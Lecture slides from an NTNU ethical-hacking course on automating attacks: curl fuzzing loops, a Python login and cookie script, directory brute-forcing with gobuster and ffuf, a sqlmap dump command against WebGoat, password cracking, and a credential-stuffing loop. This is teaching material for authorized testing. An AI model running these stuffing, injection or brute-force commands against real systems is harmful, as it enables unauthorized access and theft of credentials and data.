



NTNU
Norwegian University of
Science and Technology

Automation in ethical hacking

Donn Morrison

Department of Computer Science

Outline

Automation and scripting

Fuzzing and scanning web applications

Password cracking

Script all the things

Motivation

- Efficiency (get out of the browser)
- Accounting/logging
- Easier PoCs

Example scenarios

- Bash for fast enumeration
- Python script for authentication (requests, BeautifulSoup)
- Burpsuite Turbo Intruder
- mitmproxy to automatically intercept and modify requests (Python)

Example enumeration in Bash

Fuzzing of API endpoint param with Bash and curl

```
for CHR in {0..255}; do
  URLCHR=$(printf "%%02x" $CHR)
  echo -n "Trying $URLCHR: "
  curl -s -w '%{response_code} %{size_download}\n' \
    -o /dev/null \
    "https://api.example.com/api/v1/userinfo?username=$URLCHR"
done | tee fuzz_api.example.com-api-v1-userinfo--username.txt
```

Payload automation w/ parallelisation

Use xargs or parallel

```
echo {0..255} | tr ' ' '\n' | parallel -j 10 bash -c ';;  
  URLCHR=$(printf "%02x" {})  
  echo -n "Trying $URLCHR: "  
  curl -s -w "%{response_code} %{size_download}\n" \  
    -o /dev/null \  
    "https://api.example.com/api/v1/userinfo?username=$URLCHR" \  
| tee fuzz_parallel_api.example.com-api-v1-userinfo--username.txt
```

Payload automation

- inotifywait watches changes to the filesystem
- Useful for automatic payload creation
- Example: on write file payload/ws/evil/evil.java -> compile ws-evil.jar:

```
while true; do
    inotifywait -r .
    javac -cp .:$(cat ~/pentesting/target/classpath-target-alljars.txt) \
        payload/ws/evil/*.java -Xlint:deprecation
    rm ../../instance-takeover-demo/ws-evil.jar
    zip -r ../../instance-takeover-demo/ws-evil.jar $(ls -A)
done
```

Authentication with Python (1/2)

```
#!/usr/bin/python3
```

```
import sys
import requests
from bs4 import BeautifulSoup
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

SERVER = "example.blackboard.com"
USERNAME = "example@example.com"
PASSWORD = "password"

login = requests.get("https://{}/".format(SERVER),
    proxies={"https": "http://localhost:8080"}, verify=False)
if login.status_code != 200:
    sys.stderr.write("login failed, got %d on GET of nonce\n"%login.status_code)
    sys.exit(1)

soup = BeautifulSoup(login.text, 'html.parser')
form = soup.find(onsubmit="return validate_form( this, false, true );")
nonce = form.find("input",attrs={"name": "blackboard.platform.security.NonceUti
```

Authentication with Python (2/2)

```
sys.stderr.write("fetched nonce {}\n".format(nonce))

page = requests.post("https://{}/webapps/login/".format(SERVER),
    cookies=login.cookies, data={'user_id':USERNAME,
    'password':PASSWORD, 'blackboard.platform.security.NonceUtil.nonce.ajax':no
    'login':'Login','action':'login'}, proxies={"https":"http://localhost:8080"}
    verify=False, allow_redirects=True)

if page.status_code == 200:
    sys.stderr.write("fetched a cookie ok\n")
    print(';'.join(['%s=%s' % (name, value) for (name, value) in page.cookies.g
else:
    sys.stderr.write("login failed, got %d on login POST\n"%page.status_code)
    sys.exit(1)
```


Outline

Automation and scripting

Fuzzing and scanning web applications

Password cracking

Content discovery

- Directory/file brute forcing - gobuster, feroxbuster
 - Look for interesting file extensions: .txt, .zip, .conf, .php, .php.bak, etc.
- Fuzzing API - kiterunner
 - API endpoints generally consist of
 - `VERB /path/to/endpoint`
 - This means fuzzing only the `/path/to/endpoint` will not work
 - Need to fuzz endpoint + VERB together -> more possible combinations

Wordlists/password lists

```
$ sudo apt get install seclists rockyou
...
$ ls -l /usr/share/seclists
total 8
drwxr-xr-x 1 root root 122 Sep 14 13:06 Discovery
drwxr-xr-x 1 root root 2034 Sep 14 13:07 Fuzzing
drwxr-xr-x 1 root root 306 Sep 14 13:07 IOCs
drwxr-xr-x 1 root root 720 Sep 14 13:07 Miscellaneous
drwxr-xr-x 1 root root 2328 Sep 14 13:07 Passwords
drwxr-xr-x 1 root root 420 Sep 14 13:07 Pattern-Matching
drwxr-xr-x 1 root root 138 Sep 14 13:07 Payloads
-rw-r--r-- 1 root root 2054 Mar 27 2022 README.md
drwxr-xr-x 1 root root 476 Sep 14 13:07 Usernames
drwxr-xr-x 1 root root 132 Sep 14 13:07 Web-Shells
```

Discovery of files and folders

- Highly reliant on good wordlists
- Examples with gobuster and feroxbuster

```
gobuster dir -u https://www.example.com/ -x txt,zip,conf,php,php.bak -w \
  ./Discovery/Web-Content/raft-large-directories-lowercase.txt
```

```
feroxbuster -u https://www.example.com/ -x txt,zip,conf,php,php.bak
```

Fuzzing the web

- ffuf:

```
ffuf -u https://www.example.com/x.php?action=FUZZ \  
-w ./Discovery/Web-Content/raft-large-directories-lowercase.txt
```

- wfuzz:

```
wfuzz -z range,A-Z https://www.example.com/x.php?action=FUZZ
```

SQL injection automation

- sqlmap - automatic SQL injection tool
- Not subtle, VERY NOISY
- Has trouble with some corner case injections

```
sqlmap -u http://localhost:8085/WebGoat/SqlInjectionAdvanced/challenge \  
  --cookie="JSESSIONID=pFtOZOSkx6SqnDELtH9pG8c20KVNcgmmExhJg0YB" \  
  --method=PUT \  
  --data="username_reg=test&email_reg=asdf%40asdf.com&password_reg=asdf%40asd \  
  --dump-all --no-cast --no-escape
```

Outline

Automation and scripting

Fuzzing and scanning web applications

Password cracking

Password cracking

- Success depends on hashing algorithms used to store password and password strength
 - MD5, no salt - bad
 - double MD5, no salt - bad
 - SSHA512, salted, N iterations (e.g., 3000) - good
- GPUs can be used for many GH/s
- Wordlists
- Character sets [a-zA-Z0-9]
- Bruteforce search

Password cracking

- Key to fast cracking is parallelisation
- Many CPUs are good
- GPUs are best

Common tools

- john the ripper
- hashcat

Password stuffing

- Use password dumps (Collections dumps) to authenticate
- Scripting best for stuffing

```
cat passwords.txt | while read PW; do
    echo -n "Trying $PW: "
    curl -s https://www.example.com/login \
        --data "username=john&password=$PW" \
        -w '%{response_code} %{size_download}\n' \
        -o /dev/null
done
```